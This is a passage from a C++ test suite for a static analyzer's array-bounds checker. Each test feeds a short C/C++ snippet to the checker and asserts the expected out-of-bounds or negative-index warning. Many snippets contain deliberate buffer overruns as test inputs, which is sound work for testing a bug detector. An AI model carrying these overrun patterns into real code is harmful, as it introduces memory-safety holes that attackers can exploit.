(error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_53() {\n check(\"double M[3][1];\\n\"\n \" \\n\"\n \"void matrix()\\n\"\n \"{\\n\"\n \" for (int i=0; i < 3; i++)\\n\"\n \" for (int j = 0; j < 3; j++)\\n\"\n \" M[i][j]=0.0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (error) Array 'M[3][1]' accessed at index M[*][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_54() {\n check(\"void f() {\\n\"\n \" g(0);\\n\"\n \"}\\n\"\n \"void g(unsigned int x) {\\n\"\n \" int b[4];\\n\"\n \" for (unsigned int i = 0; i < 4; i += 2) {\\n\"\n \" b[i] = 0;\\n\"\n \" b[i+1] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_55() {\n check(\"void make(const char* s, size_t len) {\\n\"\n \" for (size_t i = 0; i < len; ++i)\\n\"\n \" s[i];\\n\"\n \"}\\n\"\n \"void make(const char* s) {\\n\"\n \" make(s, strlen(s));\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" make(\\\"my-utf8-payload\\\");\\n\"\n \"}\\n\"\n \"void f2() {\\n\"\n \" make(\\\"false\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_56() {\n check(\"struct s {\\n\"\n \" int array[1];\\n\"\n \" int index;\\n\"\n \"};\\n\"\n \"void f(struct s foo) {\\n\"\n \" foo.array[foo.index++] = 1;\\n\"\n \" if (foo.index == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_57() {\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 3)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& v) {\\n\"\n \" int a[3] = { 1, 2, 3 };\\n\"\n \" int i = 0;\\n\"\n \" for (auto& x : v) {\\n\"\n \" int c = a[i++];\\n\"\n \" if (i == 4)\\n\"\n \" i = 0;\\n\"\n \" x = c;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:15] -> [test.cpp:5:18]: (warning) Either the condition 'i==4' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_58()\n {\n check(\"int f(int x, int y) {\\n\"\n \" int a[3]= {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:9] -> [test.cpp:6:14]: (warning) Either the condition 'x<2' is redundant or the array 'a[3]' is accessed at index 3, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #2199\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" i += 8;\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" char a[5];\\n\"\n \" for (int i = 0; i < 5; i++) {\\n\"\n \" a[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index 8, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:10]: (error) Array 'a[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_59() // #10413\n {\n check(\"long f(long b) {\\n\"\n \" const long a[] = { 0, 1, };\\n\"\n \" const long c = std::size(a);\\n\"\n \" if (b < 0 || b >= c)\\n\"\n \" return 0;\\n\"\n \" return a[b];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" const int S[2] = {};\\n\"\n \" if (a < 0) {}\\n\"\n \" else {\\n\"\n \" if (b < 0) {}\\n\"\n \" else if (S[b] > S[a]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int a[2] = {};\\n\"\n \"void f(int i) {\\n\"\n \" g(i < 0 ? 0 : a[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_60()\n {\n checkP(\"#define CKR(B) if (!(B)) { return -1; }\\n\"\n \"int f(int i) {\\n\"\n \" const int A[3] = {};\\n\"\n \" CKR(i < 3);\\n\"\n \" if (i > 0)\\n\"\n \" i = A[i];\\n\"\n \" return i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define ASSERT(expression, action) if (expression) {action;}\\n\"\n \"int array[5];\\n\"\n \"void func (int index) {\\n\"\n \" ASSERT(index > 5, return);\\n\"\n \" array[index]++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:5] -> [test.cpp:5:10]: (warning) Either the condition 'index>5' is redundant or the array 'array[5]' is accessed at index 5, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_61()\n {\n check(\"int f(int i) {\\n\"\n \" const int M[] = { 0, 1, 2, 3 };\\n\"\n \" if (i > 4)\\n\"\n \" return -1;\\n\"\n \" if (i < 0 || i == std::size(M))\\n\"\n \" return 0; \\n\"\n \" return M[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { enum E { e0 }; };\\n\"\n \"const S::E M[4] = { S::E:e0, S::E:e0, S::E:e0, S::E:e0 };\\n\"\n \"int f(int i) {\\n\"\n \" if (i > std::size(M) + 1)\\n\"\n \"\t return -1;\\n\"\n \" if (i < 0 || i >= std::size(M))\\n\"\n \"\t return 0;\\n\"\n \" return M[i]; \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_62()\n {\n check(\"struct X {\\n\"\n \" static int GetSize() {return 11;}\\n\"\n \"};\\n\"\n \"char f() {\\n\"\n \" char buf[10]= {0};\\n\"\n \" for(int i = 0; i < X::GetSize(); ++i) \\n\"\n \" buf[i] = 0;\\n\"\n \" return buf[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:11]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_63()\n {\n check(\"int b[4];\\n\" // #10979\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof(*(b)))\\n\"\n \" b[i] = 0;\\n\"\n \" if (i >= 0 && i < sizeof(b) / sizeof((b)[0]))\\n\"\n \" b[i] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_64() // #10878\n {\n check(\"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"int i = 10;\\n\"\n \"struct Array {\\n\"\n \" int x[10];\\n\"\n \" int& accessArrayRef(int a) { return x[a]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Array array = {};\\n\"\n \" array.accessArrayRef(i);\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:42]: (error) Array 'x[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void array_index_65() // #11066\n {\n check(\"char P[] = { 2, 1 };\\n\"\n \"char f[2];\\n\"\n \"void e(char* c) {\\n\"\n \" register j;\\n\"\n \" for (j = 0; j < 2; j++)\\n\"\n \" c[j] = f[P[j] - 1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_66()\n {\n check(\"void foo(int j) {\\n\"\n \" int offsets[256];\\n\"\n \" while (x) {\\n\"\n \" if (j >= 256) break;\\n\"\n \" offsets[++j] = -1;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:4:15] -> [test.cpp:5:16]: (warning) Either the condition 'j>=256' is redundant or the array 'offsets[256]' is accessed at index 256, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\",\n errout_str());\n }\n\n void array_index_67() {\n check(\"void func(int i) {\\n\" // #1596\n \" int types[3];\\n\"\n \" int type_cnt = 0;\\n\"\n \" if (i == 0) {\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" types[type_cnt] = 0;\\n\"\n \" type_cnt++;\\n\"\n \" } else {\\n\"\n \" types[type_cnt] = 1;\\n\"\n \" type_cnt++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_68() { // #6655\n check(\"int ia[10];\\n\"\n \"void f(int len) {\\n\"\n \" for (int i = 0; i < len; i++)\\n\"\n \" ia[i] = 0;\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" f(20);\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'ia[10]' accessed at index 19, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #6370\n void array_index_69()\n {\n check(\"void f() {\\n\"\n \" const int e[] = {0,10,20,30};\\n\"\n \" int a[4];\\n\"\n \" for(int i = 0; i < 4; ++i)\\n\"\n \" a[e[i]] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:8]: (error) Array 'a[4]' accessed at index 30, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11355\n void array_index_70() {\n check(\"void f() {\\n\"\n \" static const char a[] = ((\\\"test\\\"));\\n\"\n \" printf(\\\"%c\\\", a[5]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (error) Array 'a[5]' accessed at index 5, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #11461\n void array_index_71()\n {\n check(\"unsigned int f(unsigned int Idx) {\\n\"\n \" if (Idx < 64)\\n\"\n \" return 0;\\n\"\n \" Idx -= 64;\\n\"\n \" int arr[64] = { 0 };\\n\"\n \" return arr[Idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11784\n void array_index_72()\n {\n check(\"char f(int i) {\\n\"\n \" char d[4] = {};\\n\"\n \" for (; i < 3; i++) {}\\n\"\n \" for (i++; i > 0;) {\\n\"\n \" d[--i] = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return d[3];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11530\n void array_index_73()\n {\n check(\"void f() {\\n\"\n \" int k = 0;\\n\"\n \" std::function a[1] = {};\\n\"\n \" a[k++](0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11088\n void array_index_74()\n {\n check(\"void foo(const char *keys) {\\n\"\n \" const char *prefix = \\\"') {}\\n\"\n \"}\\n\"\n \"void bar() {\\n\"\n \" foo(\\\"q\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #1644\n void array_index_75()\n {\n check(\"void f() {\\n\"\n \" char buf[10];\\n\"\n \" int i = 10;\\n\"\n \" while (i >= 3)\\n\"\n \" buf[i--] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'buf[10]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n // #12592\n void array_index_76()\n {\n check(\"void cb0(void*, int i) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void cb1(int i, void*) {\\n\"\n \" const char s[] = \\\"\\\";\\n\"\n \" (void)s[i];\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" cb0(nullptr, 1);\\n\"\n \" cb1(1, nullptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:7:12]: (error) Array 's[1]' accessed at index 1, which is out of bounds. [arrayIndexOutOfBounds]\\n\",\n errout_str());\n }\n\n void array_index_multidim() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2];\\n\"\n \" a[1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2]' accessed at index a[1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][2][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][2][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2][2];\\n\"\n \" a[1][2][1][1] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2][2]' accessed at index a[1][2][1][1], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[2][2][2];\\n\"\n \" a[1][1][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[2][2][2]' accessed at index a[1][1][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char a[10][10][10];\\n\"\n \" a[2*3][4*3][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:4]: (error) Array 'a[10][10][10]' accessed at index a[6][12][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[10][10][10];\\n\"\n \" a[6][40][10] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[10][10][10]' accessed at index a[6][40][10], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[1][1][1];\\n\"\n \" a[2][2][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[1][1][1]' accessed at index a[2][2][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[6][6][6];\\n\"\n \" a[6][6][2] = 'a';\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: (error) Array 'a[6][6][6]' accessed at index a[6][6][2], which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[2][2];\\n\"\n \" p = &a[2][0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // unknown dim..\n check(\"void f()\\n\"\n \"{\\n\"\n \" int a[2][countof(x)] = {{1,2},{3,4}};\\n\"\n \" a[0][0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void draw_quad(float z) {\\n\"\n \" int i;\\n\"\n \" float (*vertices)[2][4];\\n\"\n \" vertices[0][0][0] = z;\\n\"\n \" vertices[0][0][1] = z;\\n\"\n \" vertices[1][0][0] = z;\\n\"\n \" vertices[1][0][1] = z;\\n\"\n \" vertices[2][0][0] = z;\\n\"\n \" vertices[2][0][1] = z;\\n\"\n \" vertices[3][0][0] = z;\\n\"\n \" vertices[3][0][1] = z;\\n\"\n \" for (i = 0; i < 4; i++) {\\n\"\n \" vertices[i][0][2] = z;\\n\"\n \" vertices[i][0][3] = 1.0;\\n\"\n \" vertices[i][1][0] = 2.0;\\n\"\n \" vertices[i][1][1] = 3.0;\\n\"\n \" vertices[i][1][2] = 4.0;\\n\"\n \" vertices[i][1][3] = 5.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO: better handling of VLAs in symboldatabase. should be\n // possible to use ValueFlow values.\n check(\"int foo() {\\n\"\n \" const size_t A = 4;\\n\"\n \" const size_t B = 2;\\n\"\n \" extern int stuff[A][B];\\n\"\n \" return stuff[0][1];\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n }\n\n void array_index_switch_in_for() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 9:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int ar[10];\\n\"\n \" for (int i = 0; i < 10; ++i)\\n\"\n \" {\\n\"\n \" switch(i)\\n\"\n \" {\\n\"\n \" case 8:\\n\"\n \" ar[i] = 0;\\n\"\n \" break;\\n\"\n \" default:\\n\"\n \" ar[i] = ar[i+1];\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:12]: (error) Array index out of bounds.\\n\", \"\", errout_str());\n }\n\n void array_index_for_in_for() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" for (int j = i; j < 5; ++j) {\\n\"\n \" a[i] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_bounds() {\n // #10275\n check(\"int a[10];\\n\"\n \"void f(int i) {\\n\"\n \" if (i >= 0 && i < 10) {}\\n\"\n \" a[i] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19] -> [test.cpp:4:4]: (warning) Either the condition 'i<10' is redundant or the array 'a[10]' is accessed at index 10, which is out of bounds. [arrayIndexOutOfBoundsCond]\\n\"\n \"[test.cpp:3:9] -> [test.cpp:4:4]: (warning) Either the condition 'i>=0' is redundant or the array 'a[10]' is accessed at index -1, which is out of bounds. [negativeIndex]\\n\",\n errout_str());\n }\n\n void array_index_calculation() {\n // #1193 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 19; i < 36; ++i) {\\n\"\n \" data[i/2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 17, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n // #2199 - false negative: array out of bounds in loop when there is calculation\n check(\"void f()\\n\"\n \"{\\n\"\n \" char arr[5];\\n\"\n \" for (int i = 0; i < 5; ++i) {\\n\"\n \" arr[i + 7] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'arr[5]' accessed at index 11, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_negative1() {\n // #948 - array index out of bound not detected 'a[-1] = 0'\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" data[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8][4];\\n\"\n \" data[5][-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Array 'data[8][4]' accessed at index data[*][-1], which is out of bounds. [negativeIndex]\\n\", errout_str());\n\n // #1614 - negative index is ok for pointers\n check(\"void foo(char *p)\\n\"\n \"{\\n\"\n \" p[-1] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" char s[] = \\\"abc\\\";\\n\"\n \" char *p = s + strlen(s);\\n\"\n \" if (p[-1]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #1850\n check(\"int f(const std::map > &m)\\n\"\n \"{\\n\"\n \" return m[0][-1];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative2() { // ticket #3063\n check(\"struct TEST { char a[10]; };\\n\"\n \"void foo() {\\n\"\n \" TEST test;\\n\"\n \" test.a[-1] = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) Array 'test.a[10]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n void array_index_negative3() {\n check(\"int f(int i) {\\n\"\n \" int p[2] = {0, 0};\\n\"\n \" if(i >= 2)\\n\"\n \" return 0;\\n\"\n \" else if(i == 0)\\n\"\n \" return 0;\\n\"\n \" return p[i - 1];\\n\"\n \"}\\n\"\n \"void g(int i) {\\n\"\n \" if( i == 0 )\\n\"\n \" return f(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative4()\n {\n check(\"void f(void) {\\n\"\n \" int buf[64]={};\\n\"\n \" int i;\\n\"\n \" for(i=0; i <16; ++i){}\\n\"\n \" for(; i < 24; ++i){ buf[i] = buf[i-16];}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_negative5() // #10526\n {\n check(\"int i;\\n\"\n \"std::vector v;\\n\"\n \"bool f() {\\n\"\n \" if (i != 0) {\\n\"\n \" if (v.begin() != v.end()) {\\n\"\n \" if (i < 0)\\n\"\n \" return false;\\n\"\n \" const int a[4] = { 0, 1, 2, 3 };\\n\"\n \" return a[i - 1] > 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #11349\n void array_index_negative6()\n {\n check(\"void f(int i) {\\n\"\n \" int j = i;\\n\"\n \" const int a[5] = {};\\n\"\n \" const int k = j < 0 ? 0 : j;\\n\"\n \" (void)a[k];\\n\"\n \" if (i == -3) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #5685\n void array_index_negative7()\n {\n check(\"void f() {\\n\"\n \" int i = -9;\\n\"\n \" int a[5];\\n\"\n \" for (; i < 5; i++)\\n\"\n \" a[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) Array 'a[5]' accessed at index -9, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11651\n void array_index_negative8()\n {\n check(\"unsigned g(char*);\\n\"\n \"void f() {\\n\"\n \" char buf[10];\\n\"\n \" unsigned u = g(buf);\\n\"\n \" for (int i = u, j = sizeof(i); --i >= 0;)\\n\"\n \" char c = buf[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // #8075\n void array_index_negative9()\n {\n check(\"int g(int i) {\\n\"\n \" if (i < 10)\\n\"\n \" return -1;\\n\"\n \" return 0;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int a[] = { 1, 2, 3 };\\n\"\n \" printf(\\\"%d\\\\n\\\", a[g(4)]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (error) Array 'a[3]' accessed at index -1, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n // #11844\n void array_index_negative10()\n {\n check(\"struct S { int a[4]; };\\n\"\n \"void f(S* p, int k) {\\n\"\n \" int m = 3;\\n\"\n \" if (k)\\n\"\n \" m = 2;\\n\"\n \" for (int j = m + 1; j <= 4; j++)\\n\"\n \" p->a[j-1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void array_index_for_decr() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" char data[8];\\n\"\n \" for (int i = 10; i > 0; --i) {\\n\"\n \" data[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[8]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (unsigned int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" char val[5];\\n\"\n \" for (int i = 3; i < 5; --i) {\\n\"\n \" val[i+1] = val[i];\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:12]: (error) Array 'val[5]' accessed at index -9994, which is out of bounds. [negativeIndex]\\n\"\n \"[test.cpp:5:23]: (error) Array 'val[5]' accessed at index -9995, which is out of bounds. [negativeIndex]\\n\", errout_str());\n }\n\n\n void array_index_varnames() {\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[3] = 0;\\n\"\n \" a.b.data[2] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #1586\n check(\"struct A {\\n\"\n \" char data[4];\\n\"\n \" struct B { char data[3]; };\\n\"\n \" B b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" a.data[4] = 0;\\n\"\n \" a.b.data[3] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (error) Array 'a.data[4]' accessed at index 4, which is out of bounds. [arrayIndexOutOfBounds]\\n\"\n \"[test.cpp:11:13]: (error) Array 'a.b.data[3]' accessed at index 3, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n }\n\n void array_index_for_andand_oror() { // #3907 - using && or ||\n // extracttests.start: volatile int y;\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x < 10 || y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 9, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int x;\\n\"\n \" for (x = 0; x <= 10 && y; x++) {\\n\"\n \" data[x] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Array 'data[2]' accessed at index 10, which is out of bounds. [arrayIndexOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" char data[2];\\n\"\n \" int 